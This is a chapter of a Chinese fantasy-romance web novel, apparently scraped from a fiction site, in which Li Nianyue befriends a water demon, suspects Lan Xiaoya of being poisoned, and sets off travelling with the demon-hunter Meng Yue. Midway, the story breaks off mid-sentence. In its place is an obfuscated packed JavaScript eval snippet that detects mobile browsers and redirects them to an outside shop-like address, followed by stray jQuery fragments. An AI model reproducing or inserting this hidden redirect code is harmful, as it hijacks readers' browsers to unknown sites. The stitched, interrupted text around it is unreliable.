“不记得了。”兰小雅眉头轻扬，作出回忆的模样，在李念月的一脸期待下，漫不经心道：“经我手的妖丹多了去，谁知道是哪个倒霉妖怪的妖丹。”


    “你……”


    一想到可能有一只无辜又可怜的妖被大魔头伤害，她心中微微平复心情，兰小雅发现自己伤不了她，几天俩人相处平和，她直接给他翻个大白眼，故意将话说一半，剩下的等他自己意会。


    这里距饭桌不远，远方传来碗筷磕碰，听声音像是吃完了，李念月见他没有大碍，留下一句好好休息跑了出去，孟约脸上带着红晕，看来是喝酒了，谈生不见踪影，一问才知道喝晕去。


    李念月和兰小雅一道失踪，孟约心中发笑，不过还是假装自己没有看到小情侣的腻歪，“李姑娘，你和兰兄打算去哪？”


    孟约刚才也提出过几处疑点，王老爷家中一下走俩人，他不愿回想细节，也觉得自家风水不好，被妖人所害，至于那个道士，王泽表示他来去无影，俩人并未打过照面，王家一事算是到尾声。


    听到孟约将俩人名字放在一起，她真想用巴掌拍脑门。


    这个误会真的太大了。


    “我打算四周转转，兰道长志不在此，他应当会选择远游。”


    远游，又称历练，捉妖人会选择到各地去，遇到心思不正的便会度花，孟约一听，俩眼闪着星星，点头赞同：“兰兄一看就是心胸开阔之人，既然如此，等会我就去找兰兄，让他跟我们一块远游。”


    他刚高兴没多久，眉头低压，“不过这样李姑娘就要和兰兄异地，我听说道侣之间分开太久，心里会寂寞，最后会心生恐惧、郁郁寡欢，兰兄和我们一块远游，我很开心，但是看到你们分离，我也很担忧。”


    “不用担心，月有阴晴圆缺，人有悲欢离合。”李念月假意安慰，“况且，俗话说衣不如旧，人不如新，往前看才是人间正道是，我支持兰道长同孟道长一道远游。”


    她又不是救世主，送走主角一人，李念月觉得自己也当想想未来的日子如何渡过，学一门手艺，炒茶、绣花、画画、划船，等攒够钱可能会买下一件小屋，它不用太好，有一张柔软的小床，一张干净的桌子，最后有一只宠物。


    猫狗都行。


    李念月在脑海中简单构想未来，拉伸懒腰，锤着背走在路上，快接近朝暮时分，光色柔和。


    孟约找到兰小雅，他一脸慵懒，黑发随意垂落，他的头发很长，微风轻轻拨动，配上他修长的眼睛，即使无心挤出微笑，依旧如画。


    桌上的茶盏里装满冰块，隐约可见水的影子。


    兰小雅微微侧过，“孟道长。”


    孟约一路都在酝酿腹中说词，李姑娘神情惬意，毫无难过之态，兰小雅刚刚睡了一觉，脸上带有疲倦，配上他松松垮垮的穿搭，他的脑海中划过不忍，兰兄肯定心中黯然神伤，独自躲在被窝里面落泪。


    “兰兄莫要难过。”感情就是要俩人有意才能再续前缘，李姑娘如此决绝，想必已经做好分道扬镳的准备，避免让兰小雅陷入悲痛，他一脸认真且真挚地向兰小雅发出邀请。


    “兰兄，你同我一道远游吧。”


    他陆陆续续讲述远游的好处及有趣的经历，兰小雅自顾自喝一口冰茶，眸子低垂，让人无法揣测，孟约肚子里面准备的说辞说干净后，空气陷入安静。


    许久，他轻轻道：“李念月去吗？”


    她很碍事，可是要是没有她，路上想必很无聊。


    还有她腹中的妖丹……


    孟约一脸痛心，“兰兄，天涯何处无芳草，感情要俩人情同意合才能长久，李姑娘既然已经跟你说清楚了，你就及时回头，不可互相折磨，成为一对怨偶才是。”


    兰小雅：？


    他眼中带着奇异，那眼神好像在说：你脑子有病吧。


    -


    李念月随便找家旅居，付过押金拿着房间牌躺在柔软的大床上，她睡觉时必须要熄灯，光线会让她难以入睡，就在迷糊之际，滴答滴答——


    她有些无力地抬起头，顺着水落地的声音四周环望。


    这老板娘也没有说她家漏水啊。


    算了，不管了，先睡为上，眼睛再度闭上，水声越来越明显，滴答滴答，一滴水打在她腿上，李念月睁眼，顺手点起桌旁的蜡烛，微弱的火焰让她看到腿上晶莹的水珠，一滴又一滴水珠落在腿上，它们汇聚成一颗大水珠，豆子大的眼睛欣喜得眨了眨。


    她先是一惊，心里上下颠倒，仔细一看，爬在她腿上的是之前的一只水妖，要不是它突然冒出，李念月还以为它自己跑了呢。


    没想到这么大的水珠竟然有这么大的力气，险些给自己拖进水井。


    “是你。”李念月见是它，躺在床上打着呵欠，想必它应当是很害怕兰小雅，好容易发现他不在，便连忙出来透气。


    它见李念月没有生气，努力向外伸展，搓出俩只小手，轻轻推着床上的姑娘，它力气不大，痒痒的，小声喊着她的名字：


    “念念。”


    念念！


    李念月觉得自己的鸡皮疙瘩都要被激起来，这还是她第一次听到有人，噢，不，有妖这么喊她。


    “你突然跑出来做什么？”


    总不能是半夜睡不着觉要找自己闲聊，人妖应该没什么好聊的。


    小水珠见李念月兴致不高，坑次坑次跳到桌上，用手轻轻拉扯她头上的发带，李念月转头，一双豆丁大的眼睛直勾勾望着你，她突然抱着手搓胳膊，突然好冷啊。


    她受不了有人这么看她。


    “求求你，救救兰小雅。”


    小水珠用手抱拳，作出拜拜的动作，李念月反问，“我们俩个谁抢谁弱，你难道看不出来，我怎么救他。”


    若不是有保护机制，她怀疑自己要被兰小雅一剑刺穿。


    这水珠一定是脑子被砸坏了，它不记得兰小雅当时轻而易举就要挖到它的丹，为了保命它跑进自己身体里的吗，作为拥有十分之一上帝视角的自己，一早就知道兰小雅才是大魔头。


    “可是他中毒了。”


    小水珠明明没有眉毛，配上它伤感又带有几分稚气的语气，“它很严重的。”


    “严重了兰小雅自己会想办法的，我也是真心没有办法。”


    小水珠叽里呱啦一顿输出，大概意思就是这毒很严重，可是兰小雅本人不以为意，甚至认为此毒奈何不了他，他这人执着又训，脾气古怪，只有李念月能劝他。


    这小珠子真的误会了，再说了他自己不当回事别人也无可奈何。


    李念月翻一个身，将被子盖在身上，露出鼻子和眼，眼看就要入睡，小水珠滚到她的肩膀上，它弱弱道：“我可以给你报酬。”说罢便从肚子里面掏出一串手链，圆润的珠子全部散发着淡淡的光泽，“这是夜明珠，这上面的珠子来源于万晴洞，万晴洞的小贝壳生的珍珠是是最好看的，你在别处一定见不到。”


    它一点点将手链挪过去，直勾勾看着李念月，她连忙起身，不忍直视，她最怕这种可爱的小东西了，“兰小雅可是险些要将你的妖丹掏出来，按理说他是你的仇人啊。”


    难道真的有妖要以德报怨？


    “他身上有我恩人的气息。”


    小水珠坚定道，“能有如此浓烈的气息，他一定和我恩人关系匪浅。”


    -


    柔和的夕光浮动在窗前的树上，叶子远看像金，李念月将辫子随意扎在身后，她昨夜非常豪爽的付了巨款，今早店里面的小二送上一套云锦青莲曳地裙，一想到自己好几天没换的衣裳，她果断将身上穿包浆的衣服脱下来，正要往身上套衣服时，小水珠一上身，犹如薄荷上身。


    手上戴着小水珠送的夜明珍珠，李念月打算先跟孟约一起出发。


    兰小雅懒洋洋站在一旁，昨夜他们几人还是睡在王家，李念月跑过来时气喘吁吁，本


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386758|199945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来自己想来得更晚，露露生怕出变故，一直催催催，想着一人一妖要呆好久，李念月给它起了一个名字。


    孟约眼前一亮，笑道：“李姑娘？”


    李念月说明来意并表示自己从小的梦想就是闯荡江湖，欣赏各地人文，话里话外都是：


    我也想去，带上我。


    兰小雅悄悄看一眼，不语，孟约顿时懂了，“那是最好不过，我们等会要走杨花湖，里面的花飘在湖面上，又和天空相连，李姑娘你肯定喜欢。”


    这不意味着俩个人还有破镜重圆的可能吗，他自然得赶紧答应。


    王泽上前几步与李念月相对，“李姑娘，借一步说话。”


    俩人移步到大厅，王泽倒上一杯蜜茶，他的眼睛下出现明显淤黑，红色的血丝遍布全眼，坐下时他顺手揉散眉头，李念月心中惊奇他有什么话能同自己单独说，她喝过一口蜜茶，甜而不腻，舌尖散发出一股淡淡的花香，这王家人大多喝茶，这水应当是那个李念月喜欢的吧。


    可惜，这样好的人生……


    惋惜一条年轻的生命是人之常情。


    “你是妖？”


    王泽手指敲打桌子，犹豫不决，半天说出一个疑问句，要不是李念月靠着毅力将嘴里面的水咽下去，她怕喷出来，“我哪里是妖了？”这也是一句疑问，自己也没有做什么神通广大的事，兰小雅怀疑她起码还是因为保护机制，王泽怀疑她就不应该了啊。


    “你的出现很巧合，当时李念月跑出府后不见踪影，家这人找了好长时间，她的衣物首饰全部不见，就连那个从小照顾她的丫鬟也失踪了，后来便传来我哥的死讯，有人故意放了风声让我找到了你，你和她长得很像，我当时半夜得知她可能在山上，在路中看见你躺在那，说实话，我以为你就是她，后来才发现你们还是有细微区别的，李念月失踪了，有人又引导我将你误认成她，我只能说，这背后一定有是非。”


    “而且，你在棺材里面躺七天，非常人能比。”


    他误以为自己扮作人与捉妖人混在一起，李念月头痛，却不打算解释。


    “洗髓丹才是关键，这从一开始就已经不好棋局，等人入局。”


    听到王泽的一番分析，李念月感叹不愧是做生意的脑子，想的就是周到，她想他会特意提醒自己，是多亏了李念月的福吧。


    人不能接受自己亲近之人死第二次，尽管知道，她不她。


    孟约顺着山间小路走，他们打算在花海潮，琴州选一个地方，兰小雅走在身后，与其说是默默无闻，更应该说他不愿意同他们讲话，李念月身为一个长期窝床主义，走到一半腿便酸痛，不知不觉落到后面，小路又窄，刚好和他擦肩。


    这样还真是不好走，俩人挨得太近了。


    “你们俩个说什么了？”


    兰小雅像是无聊，八卦起别人的事。


    李念月当然不可能告诉他，随口一邹，“王泽夸你俊。”


    兰小雅果然一脸黑，回了一句“有病”。


    露露悄悄躲在肩上，它用尽全力隐藏着妖气，刚要张嘴同李念月说话，眼前突然伸来一只手，将它用力捏起，自己虽是一只弱妖，可水对气息的隐匿能力起极强，它自信兰小雅不会发现它。


    怎么会这样，露露百思不得其解，甚至忘记自己在兰小雅手上。


    “原来它还躲在你身上。”


    李念月见他捏住露露的姿势如同捏住妖丹一样，心中担心他一气之下给露露捏碎，伸手接过，一只手覆盖在手心，“对啊对啊，孟道长也说过，有的妖性格很好相处的。”


    兰小雅不置可否，独自走在一边，李念月追上去，他走路时快时慢，追上去轻而易举，露露跟她说自己当时突然被人敲晕，四肢像被人用绳子捆绑，不能动作，四肢的踢拿牵扯不受控制，像被人下了降偷术。


    “真有能控制人的记忆、身体的妖力吗？”


    记忆不全？